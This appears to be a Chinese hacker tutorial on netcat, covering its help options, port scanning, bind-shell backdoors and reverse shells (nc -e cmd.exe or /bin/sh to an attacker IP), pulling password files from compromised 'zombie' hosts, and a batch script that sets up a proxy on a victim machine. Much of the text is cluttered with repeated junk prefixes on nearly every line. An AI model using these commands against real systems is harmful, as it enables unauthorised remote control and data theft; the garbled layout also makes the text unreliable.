瑞士军刀NC教程
\\R$C \\R$C \\R$C 黑客瑞士军刀NC使用教程
\\R$C \\R$C 1. 写在前面的话
\\R$C \\R$C ######################################################################
\\R$C \\R$C NC这个黑客必备的武器,被称为”瑞士军刀”可见功能之强大.
\\R$C \\R$C 对比win2000微软的telnet.exe和微软的tlntsvr.exe服务,连接的时候就可以看出来了.
\\R$C \\R$C 1.1 NC.EXE是一个非标准的telnet客户端程序,
\\R$C \\R$C 1.2 还有一个putty.exe客户端程序,提供四种连接模式
\\R$C \\R$C -raw -telnet -rlogin -ssh.
\\R$C \\R$C 虽然现在也新出了GUI版的中文“NC”,但是相比起来还是这个好用。
\\R$C \\R$C ######################################################################
\\R$C \\R$C 2. Netcat 1.10 for NT 帮助信息
\\R$C \\R$C ######################################################################
\\R$C \\R$C C:\WINDOWS\Desktop>nc -h
\\R$C \\R$C [v1.10 NT]
\\R$C \\R$C connect to somewhere: nc [-options] hostname port[s] [ports] ...
\\R$C \\R$C listen for inbound: nc -l -p port [options] [hostname] [port]
\\R$C \\R$C options:
\\R$C \\R$C -d detach from console, background mode (后台模式)
\\R$C \\R$C -e prog inbound program to exec [dangerous!!]
\\R$C \\R$C -g gateway source-routing hop point[s], up to 8
\\R$C \\R$C -G num source-routing pointer: 4, 8, 12, ...
\\R$C \\R$C -h this cruft (本帮助信息)
\\R$C \\R$C -i secs delay interval for lines sent, ports scanned (延迟时间)
\\R$C \\R$C -l listen mode, for inbound connects (监听模式,等待连接)
\\R$C \\R$C -L listen harder, re-listen on socket close (连接关闭后,仍然继续监听)
\\R$C \\R$C -n numeric-only IP addresses, no DNS (ip数字模式,非dns解析)
\\R$C \\R$C -o file hex dump of traffic (十六进制模式输出文件,三段)
\\R$C \\R$C -p port local port number (本地端口)
\\R$C \\R$C -r randomize local and remote ports (随机本地远程端口)
\\R$C \\R$C -s addr local source address (本地源地址)
\\R$C \\R$C -t answer TELNET negotiation
\\R$C \\R$C -u UDP mode
\\R$C \\R$C -v verbose [use twice to be more verbose] (-vv 更多信息)
\\R$C \\R$C -w secs timeout for connects and final net reads
\\R$C \\R$C -z zero-I/O mode [used for scanning] (扫描模式,-vv)
\\R$C \\R$C port numbers can be individual or ranges: m-n [inclusive]
\\R$C ######################################################################
\\R$C \\R$C 3. Netcat 1.10 常用的命令格式
\\R$C \\R$C ######################################################################
\\R$C \\R$C 3.1.端口的刺探:
\\R$C \\R$C nc -vv ip port
\\R$C \\R$C RIVER [192.168.0.198] 19190 (?) open //显示是否开放open
\\R$C \\R$C \\R$C \\R$C 3.2.扫描器
\\R$C \\R$C nc -vv -w 5 ip port-port port
\\R$C \\R$C nc -vv -z ip port-port port
\\R$C \\R$C 这样扫描会留下大量的痕迹,系统管理员会额外小心
\\R$C \\R$C \\R$C \\R$C 3.3. 后门
\\R$C \\R$C victim machine: //受害者的机器
V+dfV`*k V+dfV`*k nc -l -p port -e cmd.exe //win2000
V+dfV`*k V+dfV`*k nc -l -p port -e /bin/sh //unix,linux
V+dfV`*k V+dfV`*k attacker machine: //攻击者的机器.
V+dfV`*k V+dfV`*k nc ip -p port //连接victim_IP,然后得到一个shell。
V+dfV`*k V+dfV`*k V+dfV`*k V+dfV`*k 3.4.反向连接
V+dfV`*k V+dfV`*k attacker machine: //一般是sql2.exe,远程溢出,webdavx3.exe攻击.
V+dfV`*k V+dfV`*k //或者wollf的反向连接.
V+dfV`*k V+dfV`*k nc -vv -l -p port
V+dfV`*k V+dfV`*k victim machine:
V+dfV`*k V+dfV`*k nc -e cmd.exe attacker ip -p port
V+dfV`*k V+dfV`*k nc -e /bin/sh attacker ip -p port
V+dfV`*k V+dfV`*k V+dfV`*k V+dfV`*k 或者:
V+dfV`*k V+dfV`*k attacker machine:
V+dfV`*k V+dfV`*k nc -vv -l -p port1 /*用于输入*/
V+dfV`*k V+dfV`*k nc -vv -l -p prot2 /*用于显示*/
V+dfV`*k V+dfV`*k victim machine:
V+dfV`*k V+dfV`*k nc attacker_ip port1 cmd.exe nc attacker_ip port2
V+dfV`*k V+dfV`*k nc attacker_ip port1 /bin/sh nc attacker_ip port2
V+dfV`*k V+dfV`*k V+dfV`*k V+dfV`*k 139要加参数-s(nc.exe -L -p 139 -d -e cmd.exe -s 对方机器IP)
V+dfV`*k V+dfV`*k 这样就可以保证nc.exe优先于NETBIOS。
V+dfV`*k 3.5.传送文件:
V+dfV`*k V+dfV`*k 3.5.1 attacker machine <-- victim machine //从肉鸡拖密码文件回来.
V+dfV`*k V+dfV`*k nc -d -l -p port < path\filedest /*attacker machine*/ 可以shell执行
V+dfV`*k V+dfV`*k nc -vv attacker_ip port > path\file.txt /*victim machine*/ 需要Ctrl C退出
V+dfV`*k V+dfV`*k //肉鸡需要gui界面的cmd.exe里面执行(终端登陆,不如安装FTP方便).否则没有办法输入Crl C.
V+dfV`*k V+dfV`*k V+dfV`*k V+dfV`*k 3.5.2 attacker machine victim machine //上传命令文件到肉鸡
V+dfV`*k V+dfV`*k nc -vv -l -p port > path\file.txt /*victim machine*/ 需要Ctrl C退出
V+dfV`*k V+dfV`*k nc -d victim_ip port < path\filedest /*attacker machine*/ 可以shell执行
V+dfV`*k V+dfV`*k //这样比较好.我们登陆终端.入侵其他的肉鸡.可以选择shell模式登陆.
V+dfV`*k V+dfV`*k V+dfV`*k V+dfV`*k 结论: 可以传输ascii,bin文件.可以传输程序文件.
V+dfV`*k V+dfV`*k V+dfV`*k V+dfV`*k 问题:连接某个ip后,传送完成后,需要发送Ctrl C退出nc.exe .
V+dfV`*k V+dfV`*k 或者只有再次连接使用pskill.exe 杀掉进程.但是是否释放传输文件打开的句柄了?
V+dfV`*k V+dfV`*k V+dfV`*k V+dfV`*k V+dfV`*k V+dfV`*k 3.6 端口数据抓包.
V+dfV`*k V+dfV`*k nc -vv -w 2 -o test.txt
www.hackervip.com 80 21-15
V+dfV`*k V+dfV`*k V+dfV`*k V+dfV`*k < 00000058 35 30 30 20 53 79 6e 74 61 78 20 65 72 72 6f 72 # 500 Syntax error
V+dfV`*k V+dfV`*k < 00000068 2c 20 63 6f 6d 6d 61 6e 64 20 22 22 20 75 6e 72 # , command "" unr
V+dfV`*k V+dfV`*k < 00000078 65 63 6f 67 6e 69 7a 65 64 2e 0d 0a # ecognized...
V+dfV`*k V+dfV`*k < 00000084 83 00 00 01 8f # .....
V+dfV`*k V+dfV`*k V+dfV`*k V+dfV`*k V+dfV`*k V+dfV`*k 3.7 telnet,自动批处理。
V+dfV`*k V+dfV`*k nc victim_ip port < path\file.cmd /*victim machine*/ 显示执行过程.
V+dfV`*k V+dfV`*k nc -vv victim_ip port < path\file.cmd /*victim machine*/ 显示执行过程.
V+dfV`*k V+dfV`*k V+dfV`*k V+dfV`*k nc -d victim_ip port < path\file.cmd 安静模式.
V+dfV`*k V+dfV`*k V+dfV`*k V+dfV`*k _______________file.cmd________________________
V+dfV`*k V+dfV`*k password
V+dfV`*k V+dfV`*k cd %windir%
V+dfV`*k V+dfV`*k echo []=[%windir%]
V+dfV`*k V+dfV`*k c:
V+dfV`*k V+dfV`*k cd \
V+dfV`*k V+dfV`*k md test
V+dfV`*k V+dfV`*k cd /d %windir%\system32\
V+dfV`*k V+dfV`*k net stop sksockserver
V+dfV`*k V+dfV`*k snake.exe -config port 11111
V+dfV`*k V+dfV`*k net start sksockserver
V+dfV`*k V+dfV`*k exit
V+dfV`*k V+dfV`*k